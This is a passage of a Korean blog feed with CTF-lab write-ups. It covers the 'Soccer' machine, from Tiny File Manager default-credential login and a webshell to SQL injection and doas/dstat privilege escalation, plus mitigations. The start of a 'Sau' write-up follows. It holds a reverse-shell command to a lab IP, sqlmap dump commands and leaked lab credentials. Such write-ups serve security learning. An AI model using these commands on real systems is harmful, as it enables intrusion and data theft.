notion-list-disc notion-block-9982196f526b828e80bc81866b9dbe68"><li>gobuster를 활용해 스캐닝을 진행해보니 /tiny라는 엔드포인트를 발견하였다.</li></ul><div class="notion-blank notion-block-4f72196f526b836a992f81c4635e8859"> </div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-cc32196f526b828c977d81b5fe9d3ea7"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A444f24c6-0604-4623-b21b-d33db3080e54%3Aimage.png?table=block&amp;id=cc32196f-526b-828c-977d-81b5fe9d3ea7&amp;t=cc32196f-526b-828c-977d-81b5fe9d3ea7" alt="notion image" loading="lazy" decoding="async"/></div></figure><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-7222196f526b820ea9bc810a48358b0f"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A79bef4b3-8874-4b0c-8dd9-37e47c00b4ac%3Aimage.png?table=block&amp;id=7222196f-526b-820e-a9bc-810a48358b0f&amp;t=7222196f-526b-820e-a9bc-810a48358b0f" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-5932196f526b82c8bf9101ca8c5da0f0"><li>Tiny File Manager라는 웹서비스가 돌아가고 있었고, github로 존재하는 오픈소스 서비스였다.</li></ul><ul class="notion-list notion-list-disc notion-block-8c62196f526b83d5adf801b99e512538"><li>버전정보를 확인해보니 Authenticated RCE인 <b>CVE-2021-45010 </b>취약점이 존재하였다.</li></ul><ul class="notion-list notion-list-disc notion-block-8e12196f526b836ea282819e04d3c56d"><li>그런데 Authenticated 이기 때문에 이걸 활용하려면 크리덴셜이 필요하였다.</li></ul><div class="notion-blank notion-block-c452196f526b825a946b015d626fdac0"> </div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-2282196f526b822c8fe1813c51704236"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Ad7525e15-f4f4-4514-b553-4246d48094f0%3Aimage.png?table=block&amp;id=2282196f-526b-822c-8fe1-813c51704236&amp;t=2282196f-526b-822c-8fe1-813c51704236" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-a532196f526b820188818156213a5e89"><li>기본 크리덴셜이 존재하지 않을까 싶어서 메인 github로 들어가보니 admin/admin@123 이라는 기본 관리자 계정이 존재하였다.</li></ul><ul class="notion-list notion-list-disc notion-block-0a62196f526b837db6908138acd0a752"><li>( admin / admin@123 )</li></ul><div class="notion-blank notion-block-7252196f526b82a49f0d018407fcd8c9"> </div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-afe2196f526b824cbeca81ea9f524511"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Acb924baf-3aa3-49c2-90d6-eb5e90b7042e%3Aimage.png?table=block&amp;id=afe2196f-526b-824c-beca-81ea9f524511&amp;t=afe2196f-526b-824c-beca-81ea9f524511" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-55e2196f526b82139c83010222aa9051"><li>기본 관리자 계정을 입력하니 성공적으로 접속할 수 있었다.</li></ul><ul class="notion-list notion-list-disc notion-block-8dc2196f526b82c8b61a8143cfc4f377"><li>이제 RCE exploit이 가능할 것이다.</li></ul><div class="notion-blank notion-block-6a82196f526b8328870c01752f5a6998"> </div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-39a2196f526b8332a56b01ea130ed3a5" data-id="39a2196f526b8332a56b01ea130ed3a5"><span><div id="39a2196f526b8332a56b01ea130ed3a5" class="notion-header-anchor"></div><a class="notion-hash-link" href="#39a2196f526b8332a56b01ea130ed3a5" title="Exploitation"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Exploitation</span></span></h2><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-57e2196f526b82199aa2019ae6eff5ea"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A23a14ee7-baae-4186-a4b1-55753ee0c08b%3Aimage.png?table=block&amp;id=57e2196f-526b-8219-9aa2-019ae6eff5ea&amp;t=57e2196f-526b-8219-9aa2-019ae6eff5ea" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-e392196f526b83188c1801b959fc3ec2"><li>관리자 계정의 권한으로 /tiny/uploads/ 경로에 파일 업로드가 가능하였고, 이를 url로 접근하여 활용할 수 있었다.</li></ul><div class="notion-blank notion-block-0362196f526b828db21e01cfb4a637e4"> </div><div class="notion-text notion-block-2ac2196f526b833ea36d010386b7c73a"><code class="notion-inline-code">rlwrap nc -lvnp 4444</code></div><div class="notion-text notion-block-ae32196f526b82959ba681cf5b652245"><code class="notion-inline-code">curl -G &quot;http://soccer.htb/tiny/uploads/shell.php&quot;   --data-urlencode &quot;cmd=bash -c &#x27;bash -i &gt;&amp; /dev/tcp/10.10.14.90/4444 0&gt;&amp;1&#x27;&quot;</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-7312196f526b8257a8020133f8bdb515"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A166672fd-65be-4406-a7bd-f2e1b781b92e%3Aimage.png?table=block&amp;id=7312196f-526b-8257-a802-0133f8bdb515&amp;t=7312196f-526b-8257-a802-0133f8bdb515" alt="notion image" loading="lazy" decoding="async"/></div></figure><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-ccf2196f526b837ab6e381e900e17c7d"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A46081ac9-4b72-4f39-9076-2f458719656e%3Aimage.png?table=block&amp;id=ccf2196f-526b-837a-b6e3-81e900e17c7d&amp;t=ccf2196f-526b-837a-b6e3-81e900e17c7d" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-2a32196f526b837d92d9015296a94315"><li>웹셸을 업로드 하여서 리버스셸을 얻어내었다.</li></ul><ul class="notion-list notion-list-disc notion-block-e332196f526b8254b2b701d27752f063"><li>하지만 user flag를 얻기 위해서는 player라는 계정을 또 얻어내야 했다.</li></ul><div class="notion-blank notion-block-3922196f526b82939c8c81a9c6a5d08b"> </div><div class="notion-text notion-block-1002196f526b820f8668015c1f79151c"><code class="notion-inline-code">cat /etc/hosts</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-07c2196f526b83729f4e81e090ef1a6f"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Af61c5320-fb64-4c27-bee6-058b862f7668%3Aimage.png?table=block&amp;id=07c2196f-526b-8372-9f4e-81e090ef1a6f&amp;t=07c2196f-526b-8372-9f4e-81e090ef1a6f" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-3202196f526b82da88e901fd1f87cb4a"><li>서버 내부를 탐색하던중 soc-player.soccer.htb 서브 도메인을 찾아내었다.</li></ul><div class="notion-blank notion-block-9fe2196f526b820c92ca814969201f10"> </div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-5f52196f526b827b8c0a8115e91c6c16"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A0efacdbb-b8f6-4b36-b045-637bc8742449%3Aimage.png?table=block&amp;id=5f52196f-526b-827b-8c0a-8115e91c6c16&amp;t=5f52196f-526b-827b-8c0a-8115e91c6c16" alt="notion image" loading="lazy" decoding="async"/></div></figure><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-9f52196f526b83078fcc01dbd0dde3ff"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A092a6cb3-192f-46b5-a370-8fdbc18c1818%3Aimage.png?table=block&amp;id=9f52196f-526b-8307-8fcc-01dbd0dde3ff&amp;t=9f52196f-526b-8307-8fcc-01dbd0dde3ff" alt="notion image" loading="lazy" decoding="async"/></div></figure><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-2062196f526b821a9f9a813e0cf832eb"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:627.9960327148438px;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Ab7cd6972-3911-4cd2-93e6-90b58cecb9f7%3Aimage.png?table=block&amp;id=2062196f-526b-821a-9f9a-813e0cf832eb&amp;t=2062196f-526b-821a-9f9a-813e0cf832eb" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-7822196f526b83c4a991811bcd6cfff6"><li>이 페이지는 기존 메인페이지와는 다르게 Match, Login, Signup 탭들이 추가되었다.</li></ul><ul class="notion-list notion-list-disc notion-block-7fc2196f526b83faa372013e30d173db"><li>로그인 이후에는 Tickets 탭에서 내 티켓을 조회해볼 수 있었다.</li></ul><ul class="notion-list notion-list-disc notion-block-84f2196f526b83788b3e015444cf6ffa"><li>그리고 이 기능은 <code class="notion-inline-code">ws://soc-player.soccer.htb:9091</code> 라는 주소와 웹소켓 통신중이었다.</li></ul><div class="notion-blank notion-block-2c72196f526b83b1938b818024e38553"> </div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-1f12196f526b83889ed1014ca51d0fbf"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Ab26a0754-47e9-426d-bacb-b388ec42fe41%3Aimage.png?table=block&amp;id=1f12196f-526b-8388-9ed1-014ca51d0fbf&amp;t=1f12196f-526b-8388-9ed1-014ca51d0fbf" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-cea2196f526b826eb89581447f6ca351"><li>오고가는 id값을 조작해보니 sql injection이 존재하는걸 알 수 있었다.</li></ul><div class="notion-blank notion-block-b0b2196f526b832698df8116ce3713f4"> </div><div class="notion-text notion-block-5342196f526b83578b880188303966c1"><code class="notion-inline-code">sqlmap -u &quot;ws://soc-player.soccer.htb:9091&quot; --data &#x27;{&quot;id&quot;: &quot;*&quot;}&#x27; --dbs --threads 10 --level 5 --risk 3 --batch</code></div><div class="notion-text notion-block-1262196f526b82dc9ab181d4821e1ee7"><code class="notion-inline-code">sqlmap -u &quot;ws://soc-player.soccer.htb:9091&quot; --data &#x27;{&quot;id&quot;: &quot;*&quot;}&#x27; --threads 10 -D soccer_db --dump --batch</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-9342196f526b8383835d0170a5be5e43"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A8691ea4b-779f-4408-b327-b73969836fb6%3Aimage.png?table=block&amp;id=9342196f-526b-8383-835d-0170a5be5e43&amp;t=9342196f-526b-8383-835d-0170a5be5e43" alt="notion image" loading="lazy" decoding="async"/></div></figure><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-75d2196f526b83778204018109712edc"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A6872b094-45f6-4ffc-89b9-cc14fe6725c8%3Aimage.png?table=block&amp;id=75d2196f-526b-8377-8204-018109712edc&amp;t=75d2196f-526b-8377-8204-018109712edc" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-9752196f526b82f1b96701bbf19c515c"><li>sqlmap을 활용해서 db내부의 정보를 가져올 수 있었고, 먼저 찾아낸 soccer_db 를 dump해보니 player의 크리덴셜을 확보할 수 있었다.</li></ul><ul class="notion-list notion-list-disc notion-block-efa2196f526b82c9b84a817b1e536750"><li>( player / PlayerOftheMatch2022 )</li></ul><div class="notion-blank notion-block-a492196f526b83c981a101a84032e278"> </div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-5a02196f526b8272b67a8125267f498b"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A3370cc03-9ae8-42ba-8ac2-e5068411253d%3Aimage.png?table=block&amp;id=5a02196f-526b-8272-b67a-8125267f498b&amp;t=5a02196f-526b-8272-b67a-8125267f498b" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-dc32196f526b8326aa95011f36e2ddfd"><li>user flag 획득 !!</li></ul><div class="notion-blank notion-block-4a22196f526b8264bd73019fb45f6a5d"> </div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-3c02196f526b832c82c8819503f263b1" data-id="3c02196f526b832c82c8819503f263b1"><span><div id="3c02196f526b832c82c8819503f263b1" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3c02196f526b832c82c8819503f263b1" title="Privilege Escalation"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Privilege Escalation</span></span></h2><div class="notion-text notion-block-3dd2196f526b8397bd0c815e361e34c9"><code class="notion-inline-code">sudo -l</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-c242196f526b83c5b0bd0113535b38e2"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A7325950b-4978-49d2-9d5b-6d7fc6af9a4e%3Aimage.png?table=block&amp;id=c242196f-526b-83c5-b0bd-0113535b38e2&amp;t=c242196f-526b-83c5-b0bd-0113535b38e2" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-0122196f526b83b185630143ebb4f564"><li>먼저 sudo -l을 확인해 보았지만 sudo 권한이 없었다.</li></ul><ul class="notion-list notion-list-disc notion-block-5b82196f526b82029e55014164723ee6"><li>guide mode에서 SetUID binary에 대해 묻고 있어서 find 명령어를 활용해 검색해 보았다.</li></ul><div class="notion-blank notion-block-a3a2196f526b8336910381df50984ead"> </div><div class="notion-text notion-block-48a2196f526b8304afa481126468fe0d"><code class="notion-inline-code">find / -type f -perm -4000</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-14b2196f526b8369a63281d70cecb230"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Ac9205e72-deba-4f06-8a5e-68152b68fb2a%3Aimage.png?table=block&amp;id=14b2196f-526b-8369-a632-81d70cecb230&amp;t=14b2196f-526b-8369-a632-81d70cecb230" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-b972196f526b827389f08134cb60f32b"><li>/usr/local/bin/doas 라는 파일이 눈에 띈다.</li></ul><ul class="notion-list notion-list-disc notion-block-f502196f526b82cf8aba01e1e6c173c0"><li>doas란 Linux/Unix 에서 일반사용자가 root 권한 등 다른 사용자의 권한으로 명령을 실행할 수 있게 해주는 프로그램이고, sudo의 가볍고 안전한 대안으로 꼽힌다.</li></ul><div class="notion-blank notion-block-4622196f526b8328a7f401a1ff6e79c7"> </div><div class="notion-text notion-block-2cc2196f526b82f08e1b8121b908201c"><code class="notion-inline-code">find / -type f -name &quot;doas.conf&quot;</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-d3e2196f526b82dd8dfc81d933bc4477"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A93019f25-6076-4aaa-b1b2-f171767a2996%3Aimage.png?table=block&amp;id=d3e2196f-526b-82dd-8dfc-81d933bc4477&amp;t=d3e2196f-526b-82dd-8dfc-81d933bc4477" alt="notion image" loading="lazy" decoding="async"/></div></figure><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-1932196f526b836893bc810a4fc91629"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Aec1aac20-97c8-4563-8214-016fcf1d28fd%3Aimage.png?table=block&amp;id=1932196f-526b-8368-93bc-810a4fc91629&amp;t=1932196f-526b-8368-93bc-810a4fc91629" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-aeb2196f526b83b6a21681469605a2db"><li>doas를 통한 권한상승 방법을 찾아보니 doas.conf파일을 먼저 찾아야 한다고 한다.</li></ul><ul class="notion-list notion-list-disc notion-block-2f82196f526b8359aec281b8e8c583d8"><li>그리고 doas.conf 파일을 읽어보니 player가 root의 권한으로 비밀번호 없이 /usr/bin/dstat 이 실행이 가능한다고 한다.</li></ul><ul class="notion-list notion-list-disc notion-block-8f02196f526b829b95cf01145e06c3e7"><li>dstat은 Linux에서 CPU, Memory, Disk I/P, Network 등의 리소스 사용량을 실시간으로 모니터링할수 있게 해주는 CLI 도구이다.</li><ul class="notion-list notion-list-disc notion-block-8f02196f526b829b95cf01145e06c3e7"><li>dstat은 custom python 플러그인을 사용할 수 있는 기능이 존재한다.</li><li> <code class="notion-inline-code">/usr/local/share/dstat/</code> 경로에서 dstat_*.py 의 형태로 활용할 수 있다.</li></ul></ul><ul class="notion-list notion-list-disc notion-block-3442196f526b83acb6db819725183c38"><li>이때 이 python 코드를 root의 셸을 얻도록 작성해놓고 해당 플러그인 기능을 활용하면 doas를 통해 root권한으로 실행되어 권한상승이 가능해 질것이다</li></ul><div class="notion-blank notion-block-05e2196f526b823f9a70015bf956b8a8"> </div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-f832196f526b83f299fe81d67541fe9b"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A0956cc6b-4c76-49b4-ab7a-a0052f2299d5%3Aimage.png?table=block&amp;id=f832196f-526b-83f2-99fe-81d67541fe9b&amp;t=f832196f-526b-83f2-99fe-81d67541fe9b" alt="notion image" loading="lazy" decoding="async"/></div></figure><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-b4d2196f526b8256baab81e0fbd22217"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Abb6fdb79-de5a-4a4e-b467-7b17e0207804%3Aimage.png?table=block&amp;id=b4d2196f-526b-8256-baab-81e0fbd22217&amp;t=b4d2196f-526b-8256-baab-81e0fbd22217" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-0eb2196f526b82c8ad3e81f13728287b"><li>가장 중요한 dstat폴더에 player가 쓰기권한이 존재했다.</li></ul><ul class="notion-list notion-list-disc notion-block-17f2196f526b8209817d0162cb91e500"><li>이제 여기다가 dstat_으로 시작하는 shell 획득용 python 코드를 넣어놓기만 하면 된다.</li></ul><div class="notion-blank notion-block-e122196f526b831ca99b015b2f2f7abb"> </div><div class="notion-text notion-block-7f02196f526b83199a80016aa0fee610"><code class="notion-inline-code">player@soccer:/usr/local/share/dstat$ doas /usr/bin/dstat --shell</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-ff82196f526b82f98b0c01a891701e85"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A7ab6d4fe-8b2c-4b48-940d-1cf8fdd1514d%3Aimage.png?table=block&amp;id=ff82196f-526b-82f9-8b0c-01a891701e85&amp;t=ff82196f-526b-82f9-8b0c-01a891701e85" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-af02196f526b83ca96530157c9b9a7c7"><li>doas 와 --shell 옵션을 줘서 custom python 플러그인을 불러오는데 성공하였다.</li></ul><ul class="notion-list notion-list-disc notion-block-cf92196f526b82b59674819acc331dd4"><li>root flag 획득 !!</li></ul><div class="notion-blank notion-block-ff72196f526b8316b56d810be52ce27e"> </div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-3b42196f526b824996fb018222244599" data-id="3b42196f526b824996fb018222244599"><span><div id="3b42196f526b824996fb018222244599" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3b42196f526b824996fb018222244599" title="Mitigation"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Mitigation</span></span></h2><ul class="notion-list notion-list-disc notion-block-6f52196f526b83478eaf01c7145b10e4"><li>Tiny File Manager의 기본 자격증명 변경, 최신 버전 업데이트, 업로드 디렉터리 권한 강화가 필요하다.</li></ul><ul class="notion-list notion-list-disc notion-block-8dc2196f526b8289a6a601f62733f29c"><li>내부 서비스 외부 노출을 차단해야한다. 웹페이지 소스코드에서 내부 웹소켓 엔드포인트가 유출됨</li></ul><ul class="notion-list notion-list-disc notion-block-2632196f526b838584a281657101a2d6"><li>WebSocket 입력시 prepared statements와 타입 검증 적용하여 SQL Injection 공격 예방</li></ul><ul class="notion-list notion-list-disc notion-block-23f2196f526b83afb41001ed0f1b3a59"><li>DB·시스템 계정 분리해야하고, 패스워드는 강력한 해시로 저장해야한다.</li></ul><ul class="notion-list notion-list-disc notion-block-05e2196f526b824e927381bb49ebbb86"><li>불필요한 doas 권한 제거하고, 플러그인 디렉터리 쓰기 권한을 더 철저히 관리해야함.</li></ul></main></div>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Sau]]></title>
            <link>https://blog.meowyeok.kr/article/e7c2196f-526b-83e7-92d8-017b7e6601ce</link>
            <guid>https://blog.meowyeok.kr/article/e7c2196f-526b-83e7-92d8-017b7e6601ce</guid>
            <pubDate>Fri, 24 Jul 2026 00:00:00 GMT</pubDate>
            <content:encoded><![CDATA[<div id="notion-article" class="mx-auto overflow-hidden "><main class="notion light-mode notion-page notion-block-e7c2196f526b83e792d8017b7e6601ce"><div class="notion-viewport"></div><div class="notion-collection-page-properties"></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-10b2196f526b8312be7c01e76dfda9fc"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:520.9625244140625px;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A69e88be8-d9ed-4f37-993b-13dd951464d1%3Aimage.png?table=block&amp;id=10b2196f-526b-8312-be7c-01e76dfda9fc&amp;t=10b2196f-526b-8312-be7c-01e76dfda9fc" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-table-of-contents notion-gray notion-block-abd2196f526b83f2ac06013414e084ae"><a href="#4502196f526b82808fbf01ae05a3b041" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">Reconnaissance</span></a><a href="#00d2196f526b8367bdeb018e55831177" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">Exploitation</span></a><a href="#96e2196f526b83dba6a0013cf3369933" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">Privilege Escalation</span></a><a href="#50f2196f526b8363b96401ba7dd7803f" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">Mitigation</span></a></div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-4502196f526b82808fbf01ae05a3b041" data-id="4502196f526b82808fbf01ae05a3b041"><span><div id="4502196f526b82808fbf01ae05a3b041" class="notion-header-anchor"></div><a class="notion-hash-link" href="#4502196f526b82808fbf01ae05a3b041" title="Reconnaissance"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Reconnaissance</span></span></h2><div class="notion-text notion-block-9eb2196f526b827faa2a8120e29e7cd7"><code class="notion-inline-code">nmap -p-10000 -sV 10.129.229.26</code></div><div class="notion-text notion-block-a3a2196f526b824cb86a01a215403405"><code class="notion-inline-code">nmap --script=default 10.129.229.26</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-d692196f526b82a8972e81544c087634"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Aebe44783-5eff-4a79-91cc-e6a1588d5499%3Aimage.png?table=block&amp;id=d692196f-526b-82a8-972e-81544c087634&amp;t=d692196f-526b-82a8-972e-81544c087634" alt="notion image" loading="lazy" decoding="async"/></div></figure><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-8952196f526b83e7b36181b21905c815"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Aabae23e9-2630-4465-9c59-9bcc462c766c%3Aimage.png?table=block&amp;id=8952196f-526b-83e7-b361-81b21905c815&amp;t=8952196f-526b-83e7-b361-81b21905c815" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-9e02196f526b8379b57a813bf211ec4b"><li>첫스캔때는 22, 80, 8338번 포트를 확인했으나 80, 8338번이 열려있지 않았다. </li></ul><ul class="notion-list notion-list-disc notion-block-2e02196f526b82f4ad6101546b6d580a"><li>그래서 script 스캔을 수행해보았더니 열린 55555번 포트를 확인하였다.</li></ul><div class="notion-blank notion-block-0212196f526b82eebcf781ccff5bc770"> </div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-8ed2196f526b8261a0858141257514ff"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Ae678e425-7317-470b-bbee-31e458031824%3Aimage.png?table=block&amp;id=8ed2196f-526b-8261-a085-8141257514ff&amp;t=8ed2196f-526b-8261-a085-8141257514ff" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-9c32196f526b824d8a4301d1c6b4464e"><li>http request를 담는 Basket 같은 웹서비스가 실행되고 있었다.</li></ul><ul class="notion-list notion-list-disc notion-block-4ab2196f526b82b69320818383ae82de"><li>조금 둘러보다보니 좌측 하단에 서비스이름과 버전정보가 적혀있었고, CVE의 존재를 확인하였다.</li></ul><ul class="notion-list notion-list-disc notion-block-2d92196f526b82c2a36e01f1bb2acf18"><li><a class="notion-external notion-external-mention" href="https://github.com/lukehebe/CVE-2023-27163-POC" target="_blank" rel="noopener noreferrer"><div 